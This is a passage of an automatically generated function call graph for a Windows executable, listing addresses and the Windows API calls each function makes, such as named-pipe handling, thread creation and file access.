140 API calls 2 library calls 67692->68015 67696 7b26fa 68000 715c7e 73 API calls 67696->68000 67698 7b22a3 68014 715cb8 73 API calls 67698->68014 67699 737cd0 35 API calls 67699->67721 67700->67698 67701 7b274e 67700->67701 67702 7b275b 67701->67702 67707 7b29ef 67701->67707 68002 7e3cac 129 API calls 2 library calls 67702->68002 67703 7b2ac2 67910 7b7b42 67703->67910 67704 7b2f5d 68028 7d6684 23 API calls 67704->68028 67707->67703 67714 8293de 3 API calls 67707->67714 67742 7b2a18 __fread_nolock _strlen 67707->67742 67711 7b2c5d 68019 7b3152 140 API calls 2 library calls 67711->68019 67712 7b2b1d 67720 8293de 3 API calls 67712->67720 67738 7b2b76 67712->67738 67714->67742 67715 7b2fb3 67717 7b2fc2 67715->67717 67729 7b30ad 67715->67729 67716 7b29d9 67716->67707 68029 7b324e 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67717->68029 67718 7b27c5 68004 716204 23 API calls 67718->68004 67727 7b2b5e 67720->67727 67721->67679 67721->67683 67721->67689 67721->67692 67721->67698 67721->67699 67721->67704 67907 7e3c02 67721->67907 67993 7ad0a4 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67721->67993 67994 7b2f68 125 API calls 2 library calls 67721->67994 67995 730c44 23 API calls _strlen 67721->67995 67996 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67721->67996 67997 6f4170 35 API calls CallUnexpected 67721->67997 67722 7b2779 67722->67716 67722->67718 67745 7b2ec3 67722->67745 68003 73130a 23 API calls _strlen 67722->68003 67724 7b27e2 67728 7b2806 67724->67728 67733 6f3696 125 API calls 67724->67733 67725 8293de 3 API calls 67730 7b2c85 67725->67730 67726 7b2fda 67749 7b3098 67726->67749 67751 7b2ff7 67726->67751 67913 7e3de4 67727->67913 67736 6f3696 125 API calls 67728->67736 67729->67749 68037 73bec0 125 API calls 67729->68037 67916 7e4908 67730->67916 67739 7b27fa 67733->67739 67743 7b2823 67736->67743 67738->67725 68005 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67739->68005 67740 7b30d2 _strlen 68038 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67740->68038 67742->67703 68013 76ec8e 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67742->68013 68006 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67743->68006 67744 7b2c1a 68017 7010fe 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67744->68017 67745->67718 67766 7b2ecb 67745->67766 67747 7b2cf2 SetProcessShutdownParameters 67756 7b2d47 67747->67756 67770 7b2d03 67747->67770 67750 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67749->67750 67757 7b3146 67750->67757 68030 73bec0 125 API calls 67751->68030 67754 8293de 3 API calls 67760 7b2cbc 67754->67760 67755 7b282f 67765 7b2861 67755->67765 67769 6f3696 125 API calls 67755->67769 67931 7e6718 CreateIoCompletionPort 67756->67931 67757->67240 67922 7e53c4 67760->67922 67761 7b300c _strlen 68031 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67761->68031 67763 7b30ec 68039 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67763->68039 67778 6f3696 125 API calls 67765->67778 67822 7b2893 67765->67822 67766->67716 68024 73bec0 125 API calls 67766->68024 67768 7b2cd1 67768->67747 67774 7b2855 67769->67774 67770->67756 68020 73c840 GetLastError 67770->68020 67772 7b2c28 68018 7b3152 140 API calls 2 library calls 67772->68018 67773 7b30fc 67773->67749 68040 73c2a0 125 API calls 5 library calls 67773->68040 68007 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67774->68007 67777 7b2ef3 68025 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67777->68025 67784 7b2887 67778->67784 67782 7b3024 68032 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67782->68032 68008 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67784->68008 67786 7b2d8a 67792 748e60 23 API calls 67786->67792 67814 7b2dbe 67786->67814 67789 7b2f03 68026 73c2a0 125 API calls 5 library calls 67789->68026 67791 7b2c46 67798 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67791->67798 67792->67814 67794 7b292d 68011 76ad1e 177 API calls 2 library calls 67794->68011 67796 7b3038 68033 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67796->68033 67799 7b2c53 67798->67799 67799->67240 67808 7b305d 68034 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67808->68034 67810 7b2e4f 67937 7e6d0e 67810->67937 67813 7b306c 68035 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67813->68035 67815 7b2e12 67814->67815 68021 77d390 242 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67814->68021 67933 7e7b6a 67815->67933 67819 7b29a9 67825 7b29d1 67819->67825 67826 7b29c1 SetUnhandledExceptionFilter 67819->67826 67821 7b308c 68036 73c2a0 125 API calls 5 library calls 67821->68036 67822->67794 68009 748590 50 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67822->68009 68010 7168a0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67822->68010 67823 7b2710 68016 7010fe 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67823->68016 68012 76accc 127 API calls 67825->68012 67826->67825 67828->67216 67829->67230 67830->67230 67831->67238 67833 837ee9 CallCatchBlock 67832->67833 67838 847ce1 EnterCriticalSection 67833->67838 67835 837ef4 _unexpected 67839 837f3e 67835->67839 67838->67835 67842 847cf8 LeaveCriticalSection 67839->67842 67841 837f29 67841->67623 67842->67841 67844 78df6f 67843->67844 67852 756afb 67843->67852 67888 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67844->67888 67846 78df79 67847 8293de 3 API calls 67846->67847 67846->67852 67848 78df87 67847->67848 67889 78ddb0 10 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67848->67889 67850 78df93 67890 73b700 10 API calls 67850->67890 67853 78e230 67852->67853 67891 711c60 GetCurrentThreadId 67853->67891 67855 78e24d TryAcquireSRWLockExclusive 67856 78e25f 67855->67856 67860 78e278 67855->67860 67857 8293de RaiseException EnterCriticalSection LeaveCriticalSection 67856->67857 67856->67860 67859 78e284 67857->67859 67858 8294e7 __Init_thread_header 5 API calls 67861 78e443 67858->67861 67862 7304ce 23 API calls 67859->67862 67860->67858 67860->67860 67870 78e2fe 67860->67870 67864 74b630 26 API calls 67861->67864 67861->67870 67863 78e293 67862->67863 67865 78e480 23 API calls 67863->67865 67866 78e45f 67864->67866 67865->67860 67868 82955d __Init_thread_footer EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 67866->67868 67867 74b5f0 24 API calls 67869 78e317 67867->67869 67868->67870 67871 78e381 ReleaseSRWLockExclusive 67869->67871 67876 78e32c 67869->67876 67870->67867 67872 78e416 67871->67872 67873 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67872->67873 67874 756b03 67873->67874 67874->67628 67882 8294e7 EnterCriticalSection 67874->67882 67875 78e3f9 ReleaseSRWLockExclusive 67878 78e40e 67875->67878 67876->67875 67877 8293de RaiseException EnterCriticalSection LeaveCriticalSection 67876->67877 67880 78e3ab 67877->67880 67879 792550 27 API calls 67878->67879 67879->67872 67880->67875 67881->67634 67883 8294fb 67882->67883 67884 829500 LeaveCriticalSection 67883->67884 67892 8295a7 LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 67883->67892 67884->67632 67887->67644 67888->67846 67889->67850 67890->67852 67892->67883 67894->67656 67895->67661 67897 748e60 23 API calls 67896->67897 67898 715d27 67897->67898 67898->67672 67900 738795 67899->67900 67901 737cd0 35 API calls 67900->67901 67902 7387a3 67901->67902 67904 7387e8 67902->67904 68041 731dd6 23 API calls CatchIt 67902->68041 67903 738823 67903->67721 67904->67903 68042 731dd6 23 API calls CatchIt 67904->68042 68043 7e35f4 67907->68043 67909 7e3c1b 67909->67721 68062 7b73d8 67910->68062 68263 7304ce 67913->68263 67915 7e3e1d 67915->67738 67917 7e4936 67916->67917 67918 7b2cac 67917->67918 67919 8293de 3 API calls 67917->67919 67918->67747 67918->67754 67920 7e4944 67919->67920 68272 76d9c2 67920->68272 67923 8293de 3 API calls 67922->67923 67924 7e53d5 67923->67924 68335 83f4fd GetSystemTimeAsFileTime 67924->68335 67926 7e53e8 __allrem 67927 8293de 3 API calls 67926->67927 67928 7e5418 67927->67928 67929 8293de 3 API calls 67928->67929 67930 7e543a 67929->67930 67930->67768 67932 7e6766 67931->67932 67932->67786 67934 7e7b7e 67933->67934 67935 7b2e33 67933->67935 68337 73f320 140 API calls 3 library calls 67934->68337 67935->67810 68022 7e67ca 149 API calls 2 library calls 67935->68022 68338 741b20 67937->68338 67940 8293de 3 API calls 67941 7e6db5 CreateThread 67940->67941 68352 76b0fc 67941->68352 68458 7e70a0 67941->68458 67943 78d580 126 API calls 67947 7e6d2c 67943->67947 67944 6f1741 125 API calls 67944->67947 67945 7e6eae GetQueuedCompletionStatus 67946 7e6edc TryAcquireSRWLockExclusive 67945->67946 67952 7e6e31 67945->67952 67946->67952 67947->67940 67947->67943 67947->67944 67947->67952 68343 7acb18 67947->68343 67951 7e6f45 67954 7e6fb5 67951->67954 68366 7ac8a4 67951->68366 67952->67945 67952->67951 67953 7e6f29 ReleaseSRWLockExclusive 67952->67953 68416 7e78ee 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67952->68416 68417 7e716a 130 API calls 67952->68417 67953->67952 67955 7e6fc0 WaitForSingleObject 67954->67955 67955->67955 67956 7e6fd0 TryAcquireSRWLockExclusive 67955->67956 67960 7e6fe1 67956->67960 67957 7e7033 67958 7e7043 ReleaseSRWLockExclusive 67957->67958 67962 7e705c 67958->67962 67960->67957 68418 7e716a 130 API calls 67960->68418 67963 7e706f 67962->67963 68419 76acee 67962->68419 67964 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67963->67964 67965 7b2e5c 67964->67965 68023 7e6784 133 API calls 67965->68023 68622 7f8aa0 67966->68622 67968 7e7be1 CreateEventW 67969 76b0fc 157 API calls 67968->67969 67970 7e7c33 67969->67970 67971 7e7c80 CreateEventW 67970->67971 68631 73c840 GetLastError 67970->68631 67972 76b0fc 157 API calls 67971->67972 67977 7e7ca6 67972->67977 67978 7e7cf3 67977->67978 68632 73c840 GetLastError 67977->68632 68623 7f8ac0 CreateThread 67978->68623 67986 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67988 7b2f3f 67986->67988 68027 82955d EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 67988->68027 67993->67721 67994->67721 67995->67721 67996->67721 67997->67721 67998->67684 67999->67696 68000->67684 68001->67823 68002->67722 68003->67722 68004->67724 68005->67728 68006->67755 68007->67765 68008->67822 68009->67822 68010->67822 68011->67819 68637 76b140 157 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68011->68637 68012->67716 68013->67742 68014->67692 68015->67823 68016->67744 68017->67772 68018->67791 68019->67823 68021->67815 68022->67810 68023->67823 68024->67777 68025->67789 68026->67716 68027->67667 68028->67715 68029->67726 68030->67761 68031->67782 68032->67796 68033->67808 68034->67813 68035->67821 68036->67749 68037->67740 68038->67763 68039->67773 68040->67749 68041->67904 68042->67903 68044 7e3601 68043->68044 68049 7e3613 68043->68049 68048 7e3685 ___from_strstr_to_strchr _strlen 68044->68048 68044->68049 68057 83a561 45 API calls 4 library calls 68044->68057 68046 7e37d3 ___from_strstr_to_strchr 68047 7e3987 68046->68047 68046->68049 68051 7e38d8 68046->68051 68047->68049 68058 6fe841 73 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68047->68058 68048->68046 68048->68049 68055 7e3b0b 68048->68055 68049->67909 68051->68049 68060 6fe841 73 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68051->68060 68053 7e3b8b 68061 6fe841 73 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68053->68061 68055->68049 68059 6fe841 73 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68055->68059 68057->68048 68058->68049 68059->68049 68060->68053 68061->68049 68063 8293de 3 API calls 68062->68063 68064 7b73eb 68063->68064 68067 7b526e 68064->68067 68068 7b5290 68067->68068 68069 7b5297 68067->68069 68083 7b5307 68068->68083 68104 7b5423 68069->68104 68072 7b5295 68073 738b80 35 API calls 68072->68073 68082 7b52e4 68072->68082 68075 7b52b2 68073->68075 68074 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68076 7b2b10 68074->68076 68077 7b5307 130 API calls 68075->68077 68076->67711 68076->67712 68078 7b52b9 68077->68078 68079 738b80 35 API calls 68078->68079 68078->68082 68080 7b52dc 68079->68080 68136 7b82ae 68080->68136 68082->68074 68084 7b5329 CreateDirectoryW 68083->68084 68085 7b5327 68083->68085 68086 7b533c GetLastError 68084->68086 68091 7b540a 68084->68091 68085->68084 68088 7b5349 68086->68088 68092 7b5353 68086->68092 68087 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68089 7b5416 68087->68089 68090 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68088->68090 68089->68072 68090->68092 68091->68087 68092->68091 68148 73c840 GetLastError 68092->68148 68105 7b5443 68104->68105 68106 7b5445 GetFileAttributesW 68104->68106 68105->68106 68107 7b5455 68106->68107 68108 7b5514 68106->68108 68111 7b55ba 68107->68111 68149 73bec0 125 API calls 68107->68149 68108->68111 68155 73c840 GetLastError 68108->68155 68109 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68110 7b55c6 68109->68110 68110->68072 68111->68109 68115 7b5488 68150 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68115->68150 68120 7b549b 68151 7492e0 23 API calls 68120->68151 68124 7b54bb 68152 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68124->68152 68127 7b54da 68153 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68127->68153 68131 7b54ea 68132 7b54f6 68131->68132 68154 73c2a0 125 API calls 5 library calls 68132->68154 68135 7b550f 68135->68111 68156 737db0 68136->68156 68141 7b8354 68144 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68146 7b8348 68144->68146 68146->68082 68147 7b8323 68147->68144 68149->68115 68150->68120 68151->68124 68152->68127 68153->68131 68154->68135 68222 731510 68156->68222 68159 7b8358 68160 7b8388 68159->68160 68161 7b8392 68159->68161 68163 7b83d8 68160->68163 68258 7ea829 129 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68160->68258 68226 7ea5fd 68161->68226 68178 7b848b 68163->68178 68229 7b898a 68163->68229 68166 7b83bb 68255 7b8aa8 140 API calls 2 library calls 68166->68255 68169 7b843d 68172 7b845c 68169->68172 68259 7ea927 129 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68169->68259 68171 7b83d0 68171->68163 68176 7ea5fd CreateFileW 68171->68176 68260 7b8aa8 140 API calls 2 library calls 68172->68260 68173 7b83ae 68173->68166 68180 7ac794 132 API calls 68173->68180 68181 7b83ec 68176->68181 68177 7b8509 68178->68177 68182 7ea9da 129 API calls 68178->68182 68191 7b84e9 68178->68191 68179 7b844f 68179->68172 68183 7ac794 132 API calls 68179->68183 68180->68166 68193 7b840b 68181->68193 68256 7ea927 129 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68181->68256 68186 7b84e0 68182->68186 68183->68172 68184 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68188 7b8300 68184->68188 68190 7d6537 132 API calls 68186->68190 68188->68141 68188->68147 68194 7ea9da UnlockFileEx 68188->68194 68189 7b83fe 68192 7ac794 132 API calls 68189->68192 68189->68193 68190->68191 68191->68184 68192->68193 68257 7b8aa8 140 API calls 2 library calls 68193->68257 68195 7eaa67 68194->68195 68198 7eaa21 68194->68198 68196 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68195->68196 68197 7b831a 68196->68197 68206 7d6537 68197->68206 68198->68195 68261 73c840 GetLastError 68198->68261 68207 7eac0e 129 API calls 68206->68207 68208 7d6542 68207->68208 68209 7d6549 68208->68209 68210 7ea51e 8 API calls 68208->68210 68209->68147 68214 7d6576 68210->68214 68211 7d65cf 68212 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68211->68212 68213 7d65d9 68212->68213 68213->68147 68214->68211 68262 73c840 GetLastError 68214->68262 68223 73152e 68222->68223 68224 73151a 68222->68224 68223->68159 68225 731536 23 API calls 68224->68225 68225->68223 68227 7ea5c9 CreateFileW 68226->68227 68228 7b839c 68227->68228 68228->68166 68254 7ea927 129 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68228->68254 68230 7eaa84 129 API calls 68229->68230 68231 7b89ae 68230->68231 68232 7b8a8c 68231->68232 68234 7b89cd 68231->68234 68235 7b89c2 68231->68235 68233 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68232->68233 68236 7b8a98 68233->68236 68238 7d63fd 132 API calls 68234->68238 68237 7d6443 132 API calls 68235->68237 68236->68178 68239 7b89cb 68237->68239 68238->68239 68239->68232 68240 7b89e9 68239->68240 68241 7b8a3c 68239->68241 68240->68232 68244 7b8a07 68240->68244 68241->68232 68242 7b8a4a 68241->68242 68243 73bec0 125 API calls 68242->68243 68245 7b8a63 68243->68245 68246 73bec0 125 API calls 68244->68246 68247 6f1741 125 API calls 68245->68247 68248 7b8a20 68246->68248 68250 7b8a33 68247->68250 68249 6f1741 125 API calls 68248->68249 68249->68250 68251 71a3e0 125 API calls 68250->68251 68252 7b8a85 68251->68252 68253 73c2a0 125 API calls 68252->68253 68253->68232 68254->68173 68255->68171 68256->68189 68257->68160 68258->68169 68259->68179 68260->68163 68264 7304fa 68263->68264 68270 7304ea __fread_nolock 68263->68270 68265 730502 68264->68265 68266 730554 68264->68266 68269 8293de 3 API calls 68265->68269 68265->68270 68271 730494 23 API calls 68266->68271 68269->68270 68270->67915 68273 76d9dd 68272->68273 68278 7b0690 CreateEventW 68273->68278 68275 76d9f5 68287 756ca0 68275->68287 68279 7b0719 ResetEvent 68278->68279 68280 7b06c0 GetLastError 68278->68280 68279->68275 68282 7b06e0 68280->68282 68285 7b06d4 68280->68285 68281 7b06f8 SetLastError 68283 7b070d 68281->68283 68284 7b0716 68281->68284 68282->68281 68283->68275 68284->68279 68290 758370 GetHandleVerifier 68285->68290 68291 756cc0 68287->68291 68290->68282 68292 8293de 3 API calls 68291->68292 68293 756ce6 CreateThread 68292->68293 68294 756d17 68293->68294 68295 756d22 GetLastError 68293->68295 68311 757020 68293->68311 68296 756d4d CloseHandle 68294->68296 68308 756d1e 68294->68308 68297 756d2d 68295->68297 68298 756d39 68295->68298 68296->68308 68297->68298 68301 756d6d 68297->68301 68309 779cc0 30 API calls 68298->68309 68300 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68302 756cb4 68300->68302 68303 756d8d 68301->68303 68304 8294e7 __Init_thread_header 5 API calls 68301->68304 68302->67918 68305 743aa0 23 API calls 68303->68305 68306 756dd7 68304->68306 68305->68308 68306->68303 68310 82955d EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 68306->68310 68308->68300 68309->68308 68310->68303 68312 757043 68311->68312 68313 75704c GetCurrentProcess GetCurrentThread GetCurrentProcess DuplicateHandle 68311->68313 68312->68313 68314 757080 68313->68314 68319 75709b 68313->68319 68315 757087 GetLastError 68314->68315 68316 75709f 68314->68316 68317 757094 68315->68317 68318 78df60 14 API calls 68316->68318 68320 7570a5 SetLastError 68317->68320 68321 7570b1 GetCurrentThreadId 68318->68321 68323 7570ef GetCurrentThread GetThreadPriority 68319->68323 68324 78df60 14 API calls 68319->68324 68320->68316 68332 78dfc0 10 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68321->68332 68327 757100 68323->68327 68325 7570de GetCurrentThreadId 68324->68325 68333 78e760 TryAcquireSRWLockExclusive ReleaseSRWLockExclusive 68325->68333 68326 75711e 68329 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68326->68329 68327->68326 68334 758370 GetHandleVerifier 68327->68334 68330 75712b 68329->68330 68332->68319 68333->68323 68334->68326 68336 83f52f __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 68335->68336 68336->67926 68337->67935 68424 759a00 68338->68424 68340 741b4f 68341 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68340->68341 68342 741b64 68341->68342 68342->67947 68344 7acb49 GetVersion 68343->68344 68345 7acb7d CreateNamedPipeW 68343->68345 68344->68345 68346 7acb5e 68344->68346 68349 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68345->68349 68434 7acbc3 133 API calls 3 library calls 68346->68434 68351 7acbb9 68349->68351 68350 7acb73 68350->68345 68351->67947 68353 76b10d 68352->68353 68358 76b117 68352->68358 68354 76b111 68353->68354 68355 76b12c 68353->68355 68435 7ac79e CloseHandle 68354->68435 68443 83d9b4 34 API calls CallUnexpected 68355->68443 68358->67947 68359 76b131 68444 76b18d 157 API calls 6 library calls 68359->68444 68361 76b16a 68445 76cc1a 132 API calls 68361->68445 68363 76b178 68364 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68363->68364 68365 76b182 68364->68365 68365->67947 68367 7ac8c3 68366->68367 68368 7ac8cd CreateFileW 68367->68368 68374 7ac911 WaitNamedPipeW 68367->68374 68369 7ac95e SetNamedPipeHandleState 68368->68369 68370 7ac8f6 GetLastError 68368->68370 68371 7aca73 68369->68371 68372 7ac980 TransactNamedPipe 68369->68372 68370->68367 68373 7aca25 68370->68373 68379 7acaf6 68371->68379 68456 73c840 GetLastError 68371->68456 68378 7acaac 68372->68378 68380 7ac9a3 68372->68380 68376 7aca6c 68373->68376 68455 73c840 GetLastError 68373->68455 68374->68367 68377 7ac91e 68374->68377 68375 7ac794 132 API calls 68375->68376 68385 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68376->68385 68377->68376 68448 73c840 GetLastError 68377->68448 68378->68379 68457 73c840 GetLastError 68378->68457 68379->68375 68380->68379 68383 7ac9c4 68380->68383 68449 73bec0 125 API calls 68383->68449 68391 7acb0b 68385->68391 68391->67951 68395 7ac9dd 68450 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68395->68450 68401 7ac9f0 68451 71a3e0 125 API calls 68401->68451 68407 7ac9fc 68452 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68407->68452 68411 7aca09 68453 71a3e0 125 API calls 68411->68453 68413 7aca19 68454 73c2a0 125 API calls 5 library calls 68413->68454 68415 7aca20 68415->68379 68416->67952 68420 76ad1a 68419->68420 68422 76acfe 68419->68422 68421 76ad0d 68421->67962 68422->68421 68423 7ac79e 127 API calls 68422->68423 68423->68421 68425 759a17 68424->68425 68426 759a0a SystemFunction036 68424->68426 68425->68340 68426->68425 68427 759a19 68426->68427 68428 759a4f GetSystemTimeAsFileTime 68427->68428 68430 759a8d __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 68427->68430 68428->68430 68429 759b7d 68432 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68429->68432 68430->68429 68431 759af7 GetSystemTimeAsFileTime 68430->68431 68431->68430 68433 759c66 68432->68433 68433->68340 68434->68350 68436 7ac7ce 68435->68436 68437 7ac7be 68435->68437 68446 78d580 126 API calls 68436->68446 68439 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68437->68439 68441 7ac7c8 68439->68441 68440 7ac7de 68447 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68440->68447 68441->68358 68443->68359 68444->68361 68445->68363 68446->68440 68447->68437 68449->68395 68450->68401 68451->68407 68452->68411 68453->68413 68454->68415 68459 7e70c5 ConnectNamedPipe 68458->68459 68460 7e70dd 68459->68460 68461 7e70d0 GetLastError 68459->68461 68463 7e713f 68460->68463 68464 7e70ea DisconnectNamedPipe 68460->68464 68473 7e71a2 68460->68473 68558 73c840 GetLastError 68460->68558 68559 73c9e0 125 API calls 68460->68559 68560 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68460->68560 68561 73ca90 127 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68460->68561 68461->68460 68465 76acee 127 API calls 68463->68465 68464->68459 68466 7e7147 68465->68466 68469 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68466->68469 68471 7e715a 68469->68471 68562 7d6443 68473->68562 68476 7e71fd 68480 7e7206 68476->68480 68481 7e7427 68476->68481 68477 7e724b 68479 7e7501 68477->68479 68483 7e7258 68477->68483 68478 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 68482 7e764e 68478->68482 68492 7e7241 68479->68492 68493 7e7513 68479->68493 68484 7e720f 68480->68484 68485 7e7461 68480->68485 68573 7d6489 128 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68481->68573 68482->68460 68489 7e72aa OpenProcess 68483->68489 68490 8294e7 __Init_thread_header 5 API calls 68483->68490 68495 7e72c7 TryAcquireSRWLockExclusive 68483->68495 68500 7e76f4 68483->68500 68509 7e75a3 68483->68509 68510 7e75d7 68483->68510 68593 78d580 126 API calls 68483->68593 68486 7e74ae 68484->68486 68487 7e7229 68484->68487 68485->68492 68496 7e7473 68485->68496 68486->68492 68501 7e74c0 68486->68501 68567 7d6489 128 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68487->68567 68494 7e7567 ImpersonateNamedPipeClient 68489->68494 68489->68495 68490->68483 68492->68478 68580 73bec0 125 API calls 68493->68580 68497 7e7578 OpenProcess RevertToSelf 68494->68497 68515 7e7658 68494->68515 68495->68483 68499 7e72e9 68495->68499 68574 73bec0 125 API calls 68496->68574 68497->68483 68504 8293de 3 API calls 68499->68504 68500->68483 68594 7ad41c LoadLibraryW GetProcAddress 68500->68594 68595 82955d EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 68500->68595 68577 73bec0 125 API calls 68501->68577 68503 7e7529 68581 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68503->68581 68512 7e72f0 CreateEventW CreateEventW CreateEventW 68504->68512 68508 7e7489 68575 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68508->68575 68509->68492 68530 7e75b5 68509->68530 68510->68492 68525 7e75e5 68510->68525 68568 7e6c48 130 API calls 68512->68568 68514 7e74d6 68578 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68514->68578 68515->68492 68592 73c840 GetLastError 68515->68592 68517 7e7539 68582 71a200 125 API calls 68517->68582 68519 7e73bc 68569 716d44 RaiseException EnterCriticalSection LeaveCriticalSection 68519->68569 68522 7e7499 68576 71a3e0 125 API calls 68522->68576 68524 7e7549 68583 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68524->68583 68586 73bec0 125 API calls 68525->68586 68527 7e74e6 68579 71a7a0 125 API calls 68527->68579 68585 73bec0 125 API calls 68530->68585 68533 7e73da ReleaseSRWLockExclusive 68570 7e771f 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68533->68570 68537 7e7556 68584 71a200 125 API calls 68537->68584 68538 7e75fb 68587 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68538->68587 68540 7e74a9 68591 73c2a0 125 API calls 5 library calls 68540->68591 68542 7e75cb 68589 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68542->68589 68545 7e73f0 68571 7e771f 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68545->68571 68548 7e760b 68588 71a3e0 125 API calls 68548->68588 68552 7e7628 68590 71a3e0 125 API calls 68552->68590 68556 7e740b 68572 7e771f 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 68556->68572 68559->68460 68560->68460 68561->68460 68596 7d6314 